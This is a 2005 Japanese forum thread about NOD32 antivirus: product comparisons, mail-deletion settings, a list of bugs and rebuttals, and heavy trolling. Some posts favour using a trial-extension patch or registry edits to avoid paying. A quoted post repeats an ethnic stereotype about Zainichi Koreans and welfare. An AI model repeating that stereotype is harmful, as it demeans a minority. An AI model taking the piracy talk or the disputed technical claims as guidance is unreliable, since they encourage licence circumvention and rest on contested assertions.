484 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 16:52:52 ]: >>475
さっきカスペルスキーアンチウイルス5 特別優待版をAmazonに発注したよ(3,862円)
KAV6.0のベータ版の性能がNOD32に匹敵するようなので、それの確認とKAVとNOD32の比較が目的。
とはいえ、NOD32は俺のお気に入りだからずっとメインで使い続けるけどな。
485 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 17:00:29 ]: >>484
比較の結果報告是非よろしく
486 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 17:05:39 ]: ﾋｨｰ(((ﾟДﾟ)))ｶﾞﾀｶﾞﾀ
487 名前：名無しさん＠お腹いっぱい。 mailto:sagｅ [2005/12/18(日) 17:09:03 ]: NODはシグネチャの配布が遅いから全然だめ
488 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 17:35:23 ]: >>485
あいよ、KAV6.0はベータ版だからまだ不具合あると思うけどやってみるよ。
使用感とか軽さやスキャナ速度と対象となる件数(特にサブストリームの扱いの違いでの件数差)を比較する予定だよ。
検出性能は比較対象外になるけどこれは信頼性の高いサイトの結果待ちな。
489 名前：名無しさん＠お腹いっぱい。 mailto:sagｅ [2005/12/18(日) 17:37:08 ]: 自作自演ですか
490 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 17:50:45 ]: >>488
まあ楽しみにしてるよ。がんばれ
491 名前：age [2005/12/18(日) 18:11:46 ]: age
492 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 19:12:29 ]: >>488
でもここには自治厨という粘着がいて
他のソフトとの比較をしたり、他のソフトの話を持ち出すだけで
限りなく粘着してくるので注意。
いってみればこのセキュ板を荒らしまくっている張本人だ。

俺もNODとKAVの比較は参考にしたいが
自治厨がいきなり飛び出し自演しまくりで荒れるだろうな。
493 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 19:24:25 ]: というノートン厨の自演でした！
494 名前：名無しさん＠お腹いっぱい。 [2005/12/18(日) 19:44:58 ]: 　　　　　　　　　　　　　　～　　　　
　　　　ﾊﾞｻｯー　ﾊﾞｻｯー
　　　◇　　　　　　　ミ　◇
　　◇◇　　 /￣|　　◇◇
　◇◇　＼　|＿_| ◇◇
　　　　彡　O(,,ﾟДﾟ)　/　　　　祓いたまえー　清めたまえー
　　　　　　(　　Ｐ `O
　　　　　／彡#＿|ミ＼
　　　　　　 </｣_|凵_ゝ
495 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 19:47:34 ]: >>492
自治厨ってなに？
このスレを見ると、粘着して荒らし続けている奴がいるのは直ぐに分かった。
そいつが自治厨か？
自演自作で荒らし、NOD32のユーザーを騙って他のスレを荒らして回ったりしている奴だろ。
496 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 19:49:04 ]: 板中を荒らしているノートン厨が許せないよ！
497 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 19:49:51 ]: >>495
漏れもNODユーザーが無実だって、すぐ分かったよ。
498 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 20:00:10 ]: 延長パッチ配布サイト、いまならアクセスできるみたいね。
日曜日だけやってるのかな？
ポルトガル語なんでなんて書いてあるか分からんがな。
499 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 20:41:41 ]: 釣れませんね
500 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 21:03:50 ]: なんでパッチ使うのか理解できない。自分でレジストリ書き換えた方が安心だろ。
501 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 21:14:29 ]: 割れ話はよそでやれやｸｽﾞ
502 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 21:19:29 ]: >>500
いや、正規に購入するのが精神を含めて一番健全だ。
それが出来ぬのなら、NOD32を諦めてフリーの奴でも使っておけ。
503 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 21:32:52 ]: >>502
それNODに限った話じゃねーけどな。
504 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 21:35:06 ]: 有料製品であるノッドサンツーをタダで使うことに意味があるんだよ。
505 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 21:40:30 ]: (((( ；ﾟДﾟ)))ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ
506 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 21:42:33 ]: 糞
507 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 21:43:06 ]: ヽ(｀Д´)ノ
508 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 21:45:20 ]: みんなでがんばってNOD32を支えていこう！
509 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 21:47:13 ]: > 有料製品であるノッドサンツーをタダで使うことに意味があるんだよ。

どんな意味だ？
火遊びをして興奮しているってことか？
510 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 21:47:51 ]: >>504
逮捕されちまえ
511 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 22:15:44 ]: >>509
全然違うよ。単純に財布浮くじゃん。てかそんなことも理解できないのか？
火遊びしても何にも残らねーじゃん。馬鹿？
512 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 22:16:52 ]: pc8.2ch.net/test/read.cgi/pcnews/1125906467/139n
これって直ってる？
thunderbird使ってるから不安なんだけど。
513 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 22:24:45 ]: ,､＿,､
ｌﾟ(･)ﾟｌｸﾏ─!!
lつﾞ"/)
.l/),,）
514 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 22:25:42 ]: ここで聞いてもまともな回答が来るわけないだろw
515 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 22:27:15 ]: ↑おまえがバカなだけだろ
516 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 22:30:01 ]: >>512
ネットワークプリンタ（LPR指定）の問題は解決していないよ。
というか、Eset社は対応する気全くない、Raw指定に変えればOKだからね。
517 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 22:34:19 ]: 515がバカなだけだそうです。
518 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 22:46:26 ]: 　／■＼
　（　´∀｀）　おにぎり
　　(つつ
＿＿＿∧＿＿＿＿＿＿＿＿＿＿

さすがバッカー
519 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 23:01:06 ]: >>516
> たくさんの受信メールを一つのファイルにまとめてるソフト（outlookとか）では
> 受信メールの中に一つでもウイルスメールがあると
> そのファイルごと消しちゃうらしい
これの話。
520 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 23:13:21 ]: ＞＜
521 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 23:15:39 ]: >>5
あ、テンプレにあるのね。
522 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 23:16:30 ]: 　　┃┃¨╋┓┃┃¨╋┓┃┃¨╋┓┃┃¨╋┓
523 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 23:21:20 ]: >>519
それ戯言。
524 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 23:26:15 ]: >>523

いつからF-Secureが「アンチスパイ専門ソフト」になったんだ？
教えてくれ。

「アンチスパイ専門ソフト」と「総合セキュリティ(アンチスパイウェア含む)製品」が
同じわけないだろw
525 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 23:32:26 ]: フォルダを消去したら、中に保管していたファイルが全て消えてしまった。
この仕様は糞だな、と騒いでいる奴の為に下記は存在する。
そんな奴も世の中にはいるからサポートは大変だ。

> ttp://canon-sol.jp/supp/nd/wndt7003.html
526 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 23:37:10 ]: >>525
本気で言っているとしたらかなりのもんだ
527 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 23:39:52 ]: >>525
コントロールセンターからの詳細な検査では、消えない？
528 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 23:42:07 ]: まあ525も知ったか言ってるだけだから気にすんな
529 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 23:46:05 ]: >>527
デフォルト値だと何をやっても消えない。
仕様を理解せずに、無茶な設定をして無茶な操作をおこなった結果で起こる喜劇。
そりゃもう恥ずかしいだけでしょう。
530 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 23:54:08 ]: >>529
OEやOutlookだけじゃなく、thunderbirdでも大丈夫？
thunderbirdの場合、拡張子はないんだけど。
531 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 23:56:45 ]: 知ったか君ピ～ンチ!!!
532 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 23:57:02 ]: ttp://kb.mozillazine.org/Thunderbird_:_FAQs_:_Anti-virus_Software
大丈夫って書いてあるって事は何の問題もないのかな。
533 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 23:57:16 ]: >>530
デフォ設定ではメールのスキャンなんて、
やらないようになっているから安心だよ。
534 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 23:59:41 ]: (　ﾟдﾟ) ・・・
　
(つд⊂)ｺﾞｼｺﾞｼ
　
(；ﾟдﾟ) ・・・
　
(つд⊂)ｺﾞｼｺﾞｼｺﾞｼ
　　_, ._
（；ﾟ Дﾟ）！？
535 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 00:00:18 ]: 雷鳥の受信メールBOXにウイルス付きのメールが一通でもあったら、メールBOXごと消される仕様ですね。
536 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 00:01:24 ]: >>533
なるほー。
それで「デフォルト値だと何をやっても消えない。」となるのね。
537 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 00:03:03 ]: >>535
笑える素敵な仕様ですな。
NODの方がウイルスより性質が悪い。
538 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 00:06:54 ]: thunderbirdのzip版を使ってプロファイルはDドライブに置いたりしてデフォルト設定じゃないので不安。
ttp://kiyo.chips.jp/blog/archives/2005/09/nod32ver25.html#more
一応、受信で検知した物についてはこうなるみたいだが。
539 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 00:07:29 ]: >>530
全然問題ない。
540 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 00:08:21 ]: >>537
>>525を君に送ろう。
541 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 00:08:46 ]: なんとかしてNODを叩きたい粘着がひとりふたりいらっしゃるようですな。
542 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 00:12:21 ]: 164 名前：最低人類０号[sage] 投稿日：2005/12/18(日) 12:40:00 ID:24Qz+Vgl
24時間2chの生活パターンといい、歪みきった粘着質な人格といい、
人並みに働いてるとはとうてい思えんしな。
そんなカネないだろ。

165 名前：最低人類０号[sage] 投稿日：2005/12/18(日) 14:36:11 ID:wesJAvEk
>>164
まるで梶田だなｗ

166 名前：最低人類０号[sage] 投稿日：2005/12/18(日) 15:05:26 ID:vSybwHMg
＞278 名前：Socket774 投稿日：2005/12/18(日) 01:37:04 ID:e4TwXveh
＞誰も使ってないPenDのことが気になってしかたがないアム厨。

…。

167 名前：最低人類０号[sage] 投稿日：2005/12/19(月) 00:06:02 ID:kqFZlVkB
>>164
雑音在日説が正しければカネはあまり問題ない。
連中は生活保護を申請するとかなりあっさり通るらしいし。
月に17万ほど貰えて、家賃も5万くらいまでなら全額補助してもらえるから
下手な新卒ホヤホヤのリーマンよりいい暮らしができる。
日がな一日ネット三昧でも食うに困ることは無いな
543 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 00:13:05 ]: 雑音名無しで活動乙
544 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 00:13:37 ]: ﾎﾚ(ﾟДﾟ)ノ⌒
545 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 00:14:02 ]: >>536
デフォ値じゃ拡張子なしのファイルは除外だし
546 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 00:14:52 ]: >>538
そんなに気になるのならテストしなよ。
下記から擬似ウィルスをダウンロードして自分宛にメールしthunderbirdで取り込んでからやってみろって。

> ttp://www.trendmicro.co.jp/download/test-virus.asp
547 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 00:15:33 ]: IMONがカットしちゃいそうだな
548 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 00:17:17 ]: その程度の気も回らない奴が、設定変更するなど論外。
549 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 00:18:29 ]: >>547
テストする環境すら理解できない奴ってお前のことを言うのだろうな。
この調子だと、538もバックアップすらせず間違ったテストをした挙句に文句を言ってきそうだなw
550 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 00:19:21 ]: 駄駄駄駄駄糞駄駄駄駄駄駄駄駄糞糞糞駄駄駄駄駄駄駄駄駄
駄駄駄駄駄■■糞駄駄駄駄駄駄糞■糞駄駄駄駄駄駄駄駄駄
駄駄駄駄糞■■駄駄駄駄駄駄駄■■糞駄駄駄駄駄駄駄駄駄
駄駄駄糞■■糞駄駄駄駄駄駄糞■■糞糞糞糞■■糞駄駄駄
駄駄駄■■■駄駄糞糞駄駄駄糞■■■■■■■■■糞駄駄
駄糞糞■■糞駄糞■■糞駄糞■■糞糞糞糞糞■■■駄駄駄
糞■■■■糞糞■■糞駄駄糞■■■駄駄駄糞■■糞駄駄駄
糞■■■■糞糞■糞駄駄糞■■糞■糞駄糞■■■駄駄駄駄
駄糞■■■■■■糞駄糞■■糞糞■■糞■■■糞駄駄駄駄
駄駄糞■■■■糞糞駄糞■糞駄駄糞■■■■糞駄駄駄駄駄
駄駄駄糞■■糞糞■糞駄糞駄駄駄駄糞■■■駄駄駄駄駄駄
駄駄駄糞■■駄駄■■糞駄駄駄駄駄糞■■糞糞駄駄駄駄駄
糞糞糞■■■糞■■■■糞駄駄糞糞■■■■■糞駄駄駄駄
■■■■■■■■糞■■糞糞■■■■糞■■■■■■糞糞
■■糞糞糞■■駄駄糞糞■■■■糞糞駄駄糞■■■■■糞
糞糞糞駄駄■■駄糞糞糞■■■糞糞■糞糞糞糞■■■■糞
駄■■■糞■■糞■■糞■■糞駄糞■■■■糞糞糞糞糞駄
駄■■■糞■■糞■■糞糞糞駄駄糞■■■■■■糞駄駄駄
駄■■■糞■■駄糞■■駄駄駄駄駄糞糞■■■■糞駄駄駄
糞■■■駄■■駄糞■■糞駄駄糞駄駄駄糞■■糞駄駄駄駄
糞■■■駄■■駄糞■■糞駄糞■■糞糞糞駄駄駄駄駄駄駄
糞■■糞駄■■駄駄■■糞駄糞■■■■■糞糞駄駄駄駄駄
糞■■糞駄■■糞駄糞糞駄駄糞■■■■■■■■糞糞駄駄
糞■■糞駄■■糞駄駄駄駄駄駄糞糞■■■■■■■糞駄駄
駄駄駄駄駄■■糞駄駄駄駄駄駄駄駄駄糞■■■■■糞駄駄
駄駄駄駄駄■■糞駄駄駄駄駄駄駄駄駄駄駄糞糞糞糞駄駄駄
551 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 00:22:59 ]: 検出した時のアクションを、「削除」以外の「隔離」やアクションを選択などにしておくだけのこと。
NODを使ってない俺ですら判ることを・・・
552 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 00:23:26 ]: >>551
ここで何をしてるんだ？
553 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 00:25:03 ]: 導入検討だが
554 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 00:28:01 ]: デフォ値で使う奴は馬鹿だと言ってみたりデフォ値では消えないと言ってみたり・・・。
555 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 00:33:02 ]: > デフォ値で使う奴は馬鹿だと言ってみたり
そんなバカなことを言うのは荒らしだけです。
NOD32のデフォルト値は非常によく考えられた設定となっています。

この設定値だとザルとか言っているのは無知な奴だけ。

> デフォ値では消えないと言ってみたり
当然消えません。
556 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 00:35:51 ]: >>554
>デフォ値で使う奴は馬鹿だ
そりゃNAVの話だ
557 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 01:10:07 ]: ポイントはこれだな。

仕様を理解せずに設定値を変えて、妄想していたことと違う動作をしたことに文句をいう。

誰がバカなのかは一目瞭然だよなw
558 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 01:12:10 ]: 何年間も導入検討状態で、体験版使い続けてんじゃねえよ。
藻前ら、いい加減に金を払って使え。
559 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 01:13:21 ]: とっくに金払って使い続けているのだが・・・
購入済みライセンス数は4つ。
560 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 01:16:16 ]: >>558

>>91-92
561 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 01:17:11 ]: その代わりに宣伝してやってる
562 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 01:17:43 ]: NOD32の開発思考が少しだけ分かるから読んでおけ >> バカな荒らし君
> ttp://www.wilderssecurity.com/showthread.php?t=110884
563 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 01:17:54 ]: >>561
それでいいんじゃない。問題なし。
564 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 01:20:36 ]: (　ﾟДﾟ)ﾎﾟｶｰﾝ
565 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 01:23:40 ]: 558,560,561,563

これ荒らしの自演だろ？
566 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 01:32:56 ]: 金を払わないってヤツは前から何度か見かけている。
たまに割る方法を得意気に書くバカもいる。
聞くバカもいたし。
567 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 02:20:50 ]: スパイウェアやアドウェアも難なく検出するね(^_^)
568 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 02:39:16 ]: 今度は、ほめ殺し？
NOD32はアンチウィルスソフト、スパイウェアやアドウェアも検出されるような拡張がされたことは事実であり
ソフトウェアの工業認定とも言えるCheckmarkも専用のそれを取得することで一定水準の性能は保証されている。
だが、そこまでのこと。
スパイウェア専門ソフトと比べれば検出はずっと穏やかであり邪魔にならぬ程度に抑制されている。
これを違う言葉に置き換えれば、潔癖症な人やスパイウェアに拘る人からすると物足りないものでしかない。

ほめ殺しを仕掛けるにしても、もう少し賢く頼むよ。
569 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 02:51:06 ]: >>567-568　自演乙
570 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 02:58:31 ]: >>568
一体何がお前にそこまで内容のない長文を書かせるのだ？
571 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 03:12:23 ]: 俺には分からん。
内容がない理由説明たのむよ。
572 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 03:20:41 ]: ただの逃げ口上に理由を求めるのはムダだよ。
573 名前：名無しさん＠お腹いっぱい。 [2005/12/19(月) 03:22:55 ]: 主なトラブル履歴

2005年9月ブルースクリーンが生じてWindowsが停止する問題が再発。リリース中止。
canon-sol.jp/product/nd/nd_update.html
レジストリが破壊されてWindowsシャットダウン時にブルースクリーンとなる問題
登録済みのアプリケーションが強制削除される問題
canon-sol.jp/product/nd/v20008.html
通信不能となって最悪の場合はOSがリブートの繰り返しになる問題
canon-sol.jp/supp/nd/wndt4210.html
スキャンすると受信メールの全部が削除される問題
canon-sol.jp/supp/nd/wndt7003.html
Windowsアップデートができなくなる問題
canon-sol.jp/supp/nd/wndt4212.html
574 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 03:29:46 ]: 反応がつまらんw
575 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 03:59:27 ]: > 2005年9月ブルースクリーンが生じてWindowsが停止する問題が再発。リリース中止。
リリースすらされていないことを問題にされてもなぁw

> レジストリが破壊されてWindowsシャットダウン時にブルースクリーンとなる問題
環境によってブルースクリーンにはなったがレジストリは破壊されてないよ。
嘘はよくない。

> 登録済みのアプリケーションが強制削除される問題
NOD32 2.000.8をアンインストールすると、アンインストール情報のレジストリが削除されるだけのこと
登録済みアプリケーションは削除されないよ。
嘘はよくない。

> 通信不能となって最悪の場合はOSがリブートの繰り返しになる問題
Windows2003 sp1に未対応のバージョンのことを問題にされてもなぁ。
いまだにsp1が原因でトラブルが続いているSQLServerのほうを何とかしてくれ。
これ、結構致命的で大変なんだよ。

> スキャンすると受信メールの全部が削除される問題
>>557

> Windowsアップデートができなくなる問題
その当時はMSによりUPDATEソフトが刷新され多くのトラブルが発生していたからなぁ。
NOD32固有の問題とされるのはちと納得できないな。
> ttp://support.microsoft.com/kb/884101/ja/#XSLTH4240121121120121120120
576 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 04:10:04 ]: >>575
>いまだにsp1が原因でトラブルが続いているSQLServerのほうを何とかしてくれ。
これはさすがに話を逸らしすぎ。
577 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 04:25:31 ]: NOD32は最高なのだよ。
いい加減この揺るぎない事実を認めたまえ！！
578 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 04:39:55 ]: >>576
いや、そうでもない。
サービスパックはそれぐらい危険を伴うということを理解して欲しかっただけ。
対応バージョンで問題が発生するのならあれだが、未対応バージョンのことを鬼の首でも取ったように吹聴されても困るからね。
ましてsp1はサービスパックの初期バージョン、多くの問題に対応すべく多くの改造や仕様変更がなされていることは容易に想像できる。

>>577
つまらんw
お前はもう黙ってろ、このタコ！
579 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 06:14:46 ]: 自演王国　免許皆伝(・∀・)
580 名前：名無しさん＠お腹いっぱい。 [2005/12/19(月) 06:18:44 ]: トラブルの多いソフトは勘弁してもらいたいですね(^_^;)
581 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 06:26:26 ]: 今日も自治厨の自演が凄まじいなｗ

一体何時間へばりついているのか甚だ不明である。
582 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 06:30:55 ]: 統合にみえてくる
583 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 06:32:58 ]: 自治厨=雑音=NOD厨（=´ω`=）y─┛~~
584 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 14:34:21 ]: なんか、こんな話題ばっかりですね
585 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 14:50:07 ]: NOD32もv2.50になってから安定しているので新しい話題がないのよ。
昔から居着いている荒らしのほうもネタ切れのようで、最近はノートンまで持ち出す始末。
雑音叩きも、そろそろ叩いている側だけが嫌われる状況のようで、今は自治厨という意味不明な叩きを展開中。
まぁ、平和ってところだ。
586 名前：名無しさん＠お腹いっぱい。 [2005/12/19(月) 15:26:52 ]: 100 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/12/19(月) 02:47:02
AthlonX2(WinXP SP2)で動いてる人いる？
インスコできるけど、定義が反映されなかったり、
Win起動時にアンチウイルスが起動しなかったり(NOD32)、
ものすごく挙動がおかしいんだが。
587 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 16:33:11 ]: >>585
お前が自治厨だろうにｗ
いい加減自演をやめたらどうだ？ｗ
588 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 16:37:06 ]: と、荒らしが因縁を吹っかけています。
585さんは災難ですね。
589 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 17:06:25 ]: うぁなんつー即レス
へばりつき具合も粘着そのものだな
常駐監視乙ｗ
590 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 17:08:39 ]: ↑負け惜しみ
591 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 17:17:14 ]: 今北。で？
３行でまとめて
↓
592 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 19:24:09 ]: はぁ？
593 名前：名無しさん＠お腹いっぱい。 [2005/12/19(月) 21:20:13 ]: 　　　　　　　　 ,,-‐----‐､　, -'"`￣￣"`''-,__, --‐‐-..,
　　　　　　　 /　、ﾞヽ､ ‐-'´ 　　　　　　　　　ヽ‐- / /　　ヽ
　　　　　　,/´　..,　ヽ,,l_),'　　　　　　　　　　　'､,ﾄ/ /　　　ヽ
　　　　　/　　　　ヽ,r' l　　　　　 .,､z:ｭ､,_.　　,､=,ﾞ.-〈__r,'､　　　ヽ_
　　　　_.l　　　ヽ」　 , l.　　　　　´ ,r'ャ､`'　i'rｬ;|　　ﾞ‐ヽ､＿,,　 /l
　　　 ,l l|　　－'´ll　　,ll ヽ. 　　　''｀¨¨´ 　ヽ　|　　　.,//ﾞl　　 //＼
　　　 l｀l|　　　　 l|ヽ　ヽ入　　　　　 ,ィ _. 　', l　　　 |l 　　　// 　　}
　　　ｌ　＼　　　 l| ,l　　ヽ_.　　　　　 '　`'ﾞ`'‐'iﾞ ,'　　　　|,l　　//　　　 l 　　ＮＯＤ最高！！！！
　　 /　　　'＼　 l|｀l　　　l ヽ`'.　　　 ,∠.ニﾌ /　　　　l ヽ　//　　　　|
　　,l　　　　　'＼ l|　.lヽ＿l　` ､､　　い.... ,' /＿__／　|　 ∨/　　　　 ,}
　　|　　　　　　　ヽl　| 　　　,| .ヽ',　.ヽ`二ﾌ.,' ヽ　　　　 ,|　　　　　　　 ,l
　　|　　　　　　　　　 l 　　　,l　　' .､,＿｀,.ィ　　l ＼　　　　　　　　　　　/
　　ヽ　　　　　　　　　|　　　＼.　　　ヽ/　　 l　ヽ　　　　　　　　／j
　　　＼　　　　　　　 /　　　　ヽ　　　　ヽ　　|　　 l　　　　　　　　/
　　　　ﾞl＼..　　　　 /　　　　　　ヽ　　　　　ヽj　　　|　　　　,　　　 /
　　　　　ヽﾞ　　　　　　　　　　　　ヽ　　　　　ヽ　　ヽ　　/　　　,l
　　　　　　ヽ、　　　　　　　　　　　　ヽ　　　　　l　　　}　/　　　 ,r
　　　　　　　ヽ　　　　　　　　　　　　　ヽ　　　　 |　　/′　,,...''
　　　　　　　　｀'':..､　　___　＿__,.．-..　　 |,　　　 ,l　,　 :..-‐'"´
　　　　　　　　　　　￣ /lr‐‐‐'--､_.....　　ｌ_,.．-'''""'- "
594 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/19(月) 21:23:24 ]: ( ﾟдﾟ)ﾎﾟｶｰﾝ
595 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 01:43:19 ]: 　　　　　　　　　　　　　　～　　　　
　　　　ﾊﾞｻｯー　ﾊﾞｻｯー
　　　◇　　　　　　　ミ　◇
　　◇◇　　 /￣|　　◇◇
　◇◇　＼　|＿_| ◇◇
　　　　彡　O(,,ﾟДﾟ)　/　　　　荒らしを祓いたまえー　スレを清めたまえー
　　　　　　(　　Ｐ `O
　　　　　／彡#＿|ミ＼
　　　　　　 </｣_|凵_ゝ
596 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 01:46:18 ]: アマゾンで注文しますた。
597 名前：名無しさん＠お腹いっぱい。 [2005/12/20(火) 02:37:40 ]: 1.1328
598 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 02:43:49 ]: 荒らしって死語ですよ
599 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 03:01:23 ]: いえてるニダ
600 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 03:10:59 ]: NOD32マンセーってことで
601 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 03:16:45 ]: プロの道具(ツール)をご家庭で。
602 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 03:20:07 ]: ※タ～′シ炉マンセー
603 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 03:32:05 ]: Nodpad≫≫≫≫≫≫≫≫≫≫≫≫≫≫≫≫≫≫≫≫≫≫NOD
604 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 03:37:50 ]: 个个个个个个个个个个个个个个个个个个个个个
庁ウケルｗｗｗ
605 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 03:52:12 ]: やっぱ夜中はキチガイが常駐してるんだな・・・・マジキモイ。
朝6時ごろまでひとりでカキコですか？ﾌﾟ
606 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 04:00:14 ]: おまいも、常駐多発すなよ
(・∀・)つ>>605○┏┛焼却炉┗┓
607 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/20(火) 04:08:47 ]: >>605
よーく考えよおまいが上げただろうｗｗｗ
